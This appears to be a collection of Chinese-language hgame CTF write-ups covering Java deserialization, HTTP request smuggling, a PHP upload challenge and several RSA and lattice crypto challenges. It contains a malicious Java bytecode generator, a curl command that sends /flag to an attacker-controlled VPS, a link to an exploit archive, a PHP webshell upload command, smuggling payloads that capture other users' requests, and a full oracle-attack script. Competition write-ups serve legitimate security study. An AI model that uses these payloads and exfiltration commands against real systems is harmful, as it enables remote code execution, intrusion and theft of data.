code_bytes = code.getvalue()
# Method: <init>
buf.write(struct.pack('>H', 0x0001)) # access: public
buf.write(struct.pack('>H', idx_init_name))
buf.write(struct.pack('>H', idx_void_desc))
buf.write(struct.pack('>H', 1)) # attributes count: 1 (Code)
# Code attribute
buf.write(struct.pack('>H', idx_code))
code_attr = io.BytesIO()
code_attr.write(struct.pack('>H', 10)) # max_stack
code_attr.write(struct.pack('>H', 1)) # max_locals
code_attr.write(struct.pack('>I', len(code_bytes)))
code_attr.write(code_bytes)
code_attr.write(struct.pack('>H', 0)) # exception table length
code_attr.write(struct.pack('>H', 0)) # code attributes count
code_attr_bytes = code_attr.getvalue()
buf.write(struct.pack('>I', len(code_attr_bytes)))
buf.write(code_attr_bytes)
# Class attributes: SourceFile
buf.write(struct.pack('>H', 1))
buf.write(struct.pack('>H', idx_sf))
buf.write(struct.pack('>I', 2))
buf.write(struct.pack('>H', idx_sf_val))
return buf.getvalue()
if __name__ == "__main__":
import sys
cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
bytecode = build_evil_bytecode(cmd)
# Verify
assert bytecode[:4] == b'\xca\xfe\xba\xbe'
major = struct.unpack('>H', bytecode[6:8])[0]
print(f"[*] Bytecode version: {major} (Java {'8' if major==52 else major})", file=sys.stderr)
print(f"[*] Bytecode size: {len(bytecode)}", file=sys.stderr)
# Output base64 of bytecode for testing
print(base64.b64encode(bytecode).decode())
看着是AI自己搓了个exp出来,看下面的链接吧。
https://refjf4fuj304rnvg4rt0gb4.wetolink.com/xQ2N5JY8KD/exploit.zip
# 生成字节码
python3 build_bytecode.py 'curl -X POST -d @/flag http://VPS_IP:PORT/'
# 生成CC3链payload
java -cp "out:cc321.jar" com.exploit.Exploit "$BYTECODE"
# 发送payload
curl -sk "https://TARGET/welcome" -b "userInfo=$PAYLOAD"
hgame{EZcC_lS_r3AL1Y-B4sIc-i5N'T_it?263d21}
目标有两个服务:
1.116.118.188:311711.116.118.188:30929前端是 Node 代理 + Vite dev server,后端是 Rust 自写 HTTP 解析器。
通过 @fs 任意读拿到关键源码:
/app/frontend/proxy.js/app/backend/src/main.rs/app/backend/src/handlers.rs/app/backend/src/http_parser.rs可见代理对 /api/ 转发到 Rust 后端,后端解析器仅使用 Content-Length,不处理 Transfer-Encoding。
请求走私(TE/CL 解析不一致):
Transfer-Encoding: chunked于是可把”额外字节/请求”塞进后端连接流,实现 smuggling。
最初直接 smuggle 第二个完整请求可以触发副作用(例如成功新增 comment),但不稳定拿到第二个响应。
最终采用更稳的”数据外带”方式:
先注册普通攻击账号拿 token。
发送一个 TE-chunked 前置请求到 /api/register,chunk 体中嵌入半截 POST /api/comment。
半截请求设置:
Authorization 为攻击者合法 tokenContent-Type: application/x-www-form-urlencodedContent-Length 设置较大content=CAP_xxx:: 前缀后续经过同一代理后端连接的请求字节会被拼进该 comment body。
再用攻击者 token 读取 /api/comment,即可看到被拼进去的原始 HTTP 请求内容(含头部)。
POST /api/register HTTP/1.1
Host: 1.116.118.188:31171
Content-Type: application/json
Transfer-Encoding: chunked
<hex>
POST /api/comment HTTP/1.1
Host: 1.116.118.188:31171
Authorization: <attacker_token>
Content-Type: application/x-www-form-urlencoded
Content-Length: 520
content=CAP_...
0
在 comment 中捕获到内部 Recorder 请求:
user-agent: Bunbunmaru-Official-Recorder/1.0flag: hgame{Th15_15-A_D@I1Y-n3Ws134d39cfeb}多次抓到相同 flag 值,结果稳定。
hgame{Th15_15-A_D@I1Y-n3Ws134d39cfeb}
这是一道多层Web渗透题目。外层是一个PHP文件上传站点,内层隐藏了一个Next.js应用。题目描述提示”这个网站似乎并不单纯”,暗示存在内网服务需要进一步探索。
附件中的PHP代码显示文件上传功能允许的扩展名包括:
["jpg", "jpeg", "png", "gif", "pdf", "doc", "docx", "txt", "htaccess", "php"]
关键漏洞:允许上传 .php 文件,可以直接获取webshell。
curl -s -F "[email protected];filename=cmd.php" \
-F "submit=上传文件" \
'http://TARGET:PORT/upload_handler.php'
上传内容为:<?php system($_GET['c']); ?>
访问 /uploads/cmd.php?c=id 确认命令执行成功。
通过webshell发现:
10.0.0.110.0.0.2:3000 运行 Next.js 服务由于无法从外部直接访问内网服务,上传了一个PHP代理脚本,利用PHP的curl扩展作为SSRF跳板访问内网Next.js服务。
利用 CVE-2025-55182(React Server Components RCE)漏洞,通过构造恶意的multipart请求注入内存webshell到Next.js进程中。
核心payload利用了Next.js Server Actions的反序列化漏洞,通过原型链污染实现任意代码执行。
通过内存webshell在内网Next.js服务器上执行命令:
cat /flag
获得flag。
flag{TarGeT-ln_FAK3-TarG3T_Xlxi644feb6a0}
附件 server.py 关键逻辑:
n=p*q,e=random.getrandbits(50)。Encrypt: c = m^(e ^ (1<<x)) mod nDecrypt: m = c^d mod nGet flag: 返回 c_flag = flag^e mod n,并将 safe=Falsesafe=False 后对输出做 disguise()disguise() 看似随机异或两轮,但第二轮从末尾开始,最后一个字节会把第一轮掩码抵消掉,因此输出最后一个字节恒等于原消息最后一个字节。
这意味着在 safe=False 后,解密接口泄露了 Dec(c) mod 256。
对 x>=50,e 的该位必为 0,因此:
e ^ (1<<x) = e + 2^x
记 c_x = Enc(m, x) = m^(e+2^x) mod n,则:
c_x^2 * c_{x+2} = m^(3e + 2^(x+1)+2^(x+2))c_{x+1}^3 = m^(3e + 3*2^(x+1)) = m^(3e + 2^(x+1)+2^(x+2))所以:
c_x^2 * c_{x+2} - c_{x+1}^3 = k*n
对多个底数 m、多个 x 取 gcd,即可得到 n。
先取 m=2:
c50 = Enc(2,50) = 2^(e+2^50) = 2^e * 2^(2^50) (mod n)
故:
me = 2^e mod n = c50 * (2^(2^50))^{-1} mod n
再对每个 bit i in [0,49] 查询 ci = Enc(2,i):
e_i=0,ci = 2^(e+2^i) = me * 2^(2^i)e_i=1,ci = 2^(e-2^i) = me * (2^(2^i))^{-1}比较 ci * me^{-1} 是 2^(2^i) 还是其逆元即可判定位值。
调用 Get flag 得 c_flag(此后 safe=False)。
设 B=256,构造:
c_i = c_flag * (B^i)^e mod n
解密后:
x_i = Dec(c_i) = (m * B^i) mod n
Oracle 泄露 b_i = x_i mod B(即最后一个字节)。
令:
x_i = B*x_{i-1} - t_i*n,其中 t_i in [0,255]
取模 B:
b_i ≡ -t_i*n (mod B)
n 为奇数,n^{-1} mod 256 存在,因此:
t_i = (-b_i * n^{-1}) mod 256
{t_i} 就是 m/n 的 256 进制小数展开。不断收集 t_i 可将 m 区间收缩,直到唯一整数,得到明文 m。
最后 long_to_bytes(m) 后按块长 127 做 unpad,得到 flag。
#!/usr/bin/env python3
import base64
from math import gcd
from pwn import remote
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from Crypto.Util.Padding import unpad
HOST = "1.116.118.188"
PORT = 31776
class EzRSAClient:
def __init__(self, host: str, port: int, timeout: float = 5.0):
self.r = remote(host, port, timeout=timeout)
def close(self):
try:
self.r.close()
except Exception:
pass
def _recv_menu(self):
self.r.recvuntil(b"Your choice > ")
def encrypt(self, plain: int, x: int) -> int:
self._recv_menu()
self.r.sendline(b"1")
self.r.recvuntil(b"plaintext:\n")
self.r.sendline(str(plain).encode())
self.r.recvuntil(b"flip:\n")
self.r.sendline(str(x).encode())
line = self.r.recvline().strip()
return bytes_to_long(base64.b64decode(line))
def decrypt_raw_bytes(self, cipher: int) -> bytes:
self._recv_menu()
self.r.sendline(b"2")
self.r.recvuntil(b"ciphertext:\n")
self.r.sendline(str(cipher).encode())
line = self.r.recvline().strip()
return base64.b64decode(line)
def decrypt_int(self, cipher: int) -> int:
return bytes_to_long(self.decrypt_raw_bytes(cipher))
def get_flag_cipher(self) -> int:
self._recv_menu()
self.r.sendline(b"3")
line = self.r.recvline().strip()
return bytes_to_long(base64.b64decode(line))
def recover_n(cli: EzRSAClient) -> int:
g = 0
bases = [2, 3, 5]
for m in bases:
c = {x: cli.encrypt(m, x) for x in range(50, 58)}
for x in range(50, 56):
eq = abs(c[x] * c[x] * c[x + 2] - c[x + 1] * c[x + 1] * c[x + 1])
g = gcd(g, eq)
if g.bit_length() < 1000:
raise ValueError(f"n candidate too small: {g.bit_length()} bits")
# In rare cases gcd contains a small cofactor; strip tiny factors if possible.
for p in [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]:
while g % p == 0 and (g // p).bit_length() >= 1000:
g //= p
return g
def recover_e(cli: EzRSAClient, n: int) -> int:
m = 2
c50 = cli.encrypt(m, 50)
m_pow_2_50 = pow(m, 1 << 50, n)
me = c50 * inverse(m_pow_2_50, n) % n
e = 0
me_inv = inverse(me, n)
for i in range(50):
ci = cli.encrypt(m, i)
ratio = ci * me_inv % n
mp = pow(m, 1 << i, n)
mp_inv = inverse(mp, n)
if ratio == mp:
# bit i is 0
pass
elif ratio == mp_inv:
# bit i is 1
e |= 1 << i
else:
raise ValueError(f"unexpected ratio at bit {i}")
return e
def recover_plain_from_lsb_oracle(cli: EzRSAClient, n: int, e: int, c_flag: int) -> int:
B = 256
n_inv_mod_B = inverse(n, B)
mult = pow(B, e, n)
cur = c_flag
digits = []
for _ in range(220):
cur = (cur * mult) % n
leak_bytes = cli.decrypt_raw_bytes(cur)
low = leak_bytes[-1]
t = (-low * n_inv_mod_B) % B
digits.append(t)
L = len(digits)
S = 0
for d in digits:
S = S * B + d
den = B ** L
lo = (n * S + den - 1) // den
hi = (n * (S + 1) - 1) // den
if lo == hi:
return lo
raise ValueError("failed to narrow interval")
def solve_once():
cli = EzRSAClient(HOST, PORT)
try:
n = recover_n(cli)
print(f"[+] n bits: {n.bit_length()}")
e = recover_e(cli, n)
print(f"[+] e: {e}")
print(f"[+] e bits: {e.bit_length()}")
# quick check for e using x >= 50 where exponent is e + 2^x
test_m = 7
c_test = cli.encrypt(test_m, 60)
if c_test != pow(test_m, e + (1 << 60), n):
raise ValueError("e verification failed")
c_flag = cli.get_flag_cipher()
print(f"[+] c_flag bits: {c_flag.bit_length()}")
m = recover_plain_from_lsb_oracle(cli, n, e, c_flag)
print(f"[+] recovered m bits: {m.bit_length()}")
if pow(m, e, n) != c_flag:
raise ValueError("recovered plaintext does not re-encrypt to flag ciphertext")
raw = long_to_bytes(m)
try:
unpadded = unpad(raw, 127)
except ValueError:
unpadded = raw
try:
text = unpadded.decode()
except UnicodeDecodeError:
text = unpadded.decode(errors="ignore")
return text, {
"n": n,
"e": e,
"c_flag": c_flag,
"m": m,
"raw": raw,
"unpadded": unpadded,
}
finally:
cli.close()
def main():
last_err = None
for attempt in range(1, 6):
print(f"[*] Attempt {attempt}/5")
try:
flag_text, info = solve_once()
print(f"[+] Candidate flag text: {flag_text}")
with open('/workspace/found_flag.txt', 'w', encoding='utf-8') as f:
f.write(flag_text)
with open('/workspace/found_flag_debug.txt', 'w', encoding='utf-8') as f:
f.write(f"n={info['n']}\n")
f.write(f"e={info['e']}\n")
f.write(f"c_flag={info['c_flag']}\n")
f.write(f"m={info['m']}\n")
f.write(f"raw_hex={info['raw'].hex()}\n")
f.write(f"unpadded_hex={info['unpadded'].hex()}\n")
return
except Exception as exc:
print(f"[!] attempt failed: {exc}")
last_err = exc
raise SystemExit(f"all attempts failed: {last_err}")
if __name__ == "__main__":
main()
输出得到:
hgame{EzRS4-iS-5t1IL_PreTTY-3Z,right?9c226e}
hgame{EzRS4-iS-5t1IL_PreTTY-3Z,right?9c226e}
这是一道密码学题目,涉及矩阵离散对数问题(Matrix DLP)。
n = p * q(两个大素数的乘积)Zmod(n) 上生成随机2×2矩阵 ab = a^k,其中 k 是1000位素数MD5(k) 作为AES-ECB密钥加密flagn, a, b 和密文p-1 和 q-1 都是smooth的(由小素数因子组成),这使得DLP可解通过factordb查询,得到 n = p * q,其中p约537位,q约538位。
关键发现:
p-1 的因子全部是约32位的小素数(smooth)q-1 的因子也全部是约32位的小素数(smooth)矩阵是2×2的,分别在GF(p)和GF(q)上分析:
mod p:
特征多项式可约,矩阵可对角化。通过特征值分解将矩阵DLP转化为两个标量DLP:λ^k = μ mod p。由于p-1是smooth的,用Pohlig-Hellman算法高效求解。
mod q:
特征多项式不可约,但可以利用行列式性质:det(a)^k = det(b) mod q。这将矩阵DLP降维为GF(q)*中的标量DLP,阶为q-1(smooth),同样可用Pohlig-Hellman求解。
得到:
k ≡ k_p mod (p-1)k ≡ k_q mod (q-1)lcm(p-1, q-1) 约1073位 > k的1000位,因此CRT唯一确定k。
用 MD5(k) 作为AES-ECB密钥解密密文,得到flag。
hgame{1s_m@trix_d1p_rEal1y_sImpLe??}
附件 task.py 的加密逻辑是:
bit=1:输出 m=15 条 LWE 样本 (a,b),参数 n=25,q 为 128-bit 素数。bit=0:输出同维度的完全随机 tuple。output.txt,共 200 个 bit 块。因此本题是典型 Decision-LWE 按位区分。
直接对单组(15条)无法恢复 secret(方程欠定)。但将两组拼接成 30 条样本后,可构造格:
L = {A s + qk}
对目标向量 b 做最近向量(CVP):
e。s(模 q 线性方程)。s 去跑全部 200 组,残差小判 1、残差大判 0。解析 output.txt 为 enc[200][15][26]。
选两组样本(例如 (150,151)),构造 A(30x25), b(30)。
用模 q 左核构造 kernel lattice,LLL + CVP 得到最近格点 cv。
解 A*s ≡ cv (mod q) 得到 secret s。
对每组计算 |a·s-b| mod q 的中心化残差:
max_residual < 2^20 判为 bit=1拼接 200 bit 得 flagbin,按题目逆过程还原:
x = int(flagbin, 2)
inner = x.to_bytes(25, 'little').rstrip(b'\x00')
flag = b'hgame{' + inner + b'}'
hgame{w1sh_you_4_h@ppy_new_y3ar}
用多个不同的样本对(如 (150,151)、(65,3)、(154,83))独立恢复 secret 并解码,均得到同一 flag,结果稳定。
hgame{w1sh_you_4_h@ppy_new_y3ar}
给出代码核心:
n = p * pb = a ** k,其中 a,b 是 Zmod(n) 上的 2×2 矩阵k 是 660-bit 素数key = md5(long_to_bytes(k)),AES-ECB 加密给出的密文漏洞点非常明显:n 不是 pq,而是 p^2,可直接开方得到 p。
由公开 n 直接:
p = isqrt(n)
assert p*p == n
在 mod p^2 下,对任意矩阵有:
A^(p-1) = I + pCB = A^k,则 B^(p-1) = (A^(p-1))^k = I + pkC设:
M = A^(p-1) = I + pCN = B^(p-1) = I + pD则 D = kC (mod p),从任一非零矩阵元可直接求:
k mod p = D_ij * C_ij^{-1} mod p
实际四个元素算出的值一致,得到 k mod p。
将矩阵降到 GF(p),利用 p-1 的已知因子:
p-1 = 2 * 688465747867 * (large cofactor)对 q = 688465747867:
g = A^((p-1)/q), h = B^((p-1)/q)
=> h = g^k
在阶为 q 的子群里做 BSGS,得到:
k mod q = 423628515474再用 (p-1)/2 投影得到奇偶性:
k mod 2 = 1合并得:
k mod (2q) = 1112094263341将
k mod pk mod (2q)做 CRT,得到 k mod M(M 约 653 bits)。
而题目给定 k 是 660-bit 素数,所以在区间 [2^659, 2^660) 中仅有 122 个候选。筛选候选中的素数并验证 A^k == B (mod n),唯一命中:
k = 4238873411283850941524834332937913444291533048380278889933287099990199178752115950062698973120574658223722822108986551677048478954034338616186015239894923832089467914215948935216404122157104593061117
按题目同样方式构造密钥:
key = md5(long_to_bytes(k)).digest()
pt = AES.new(key, AES.MODE_ECB).decrypt(base64.b64decode(ciphertext))
flag = unpad(pt, 16)
得到:
hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}
hgame{M@trix-d1p_iz_rea1ly_1z!1!111!}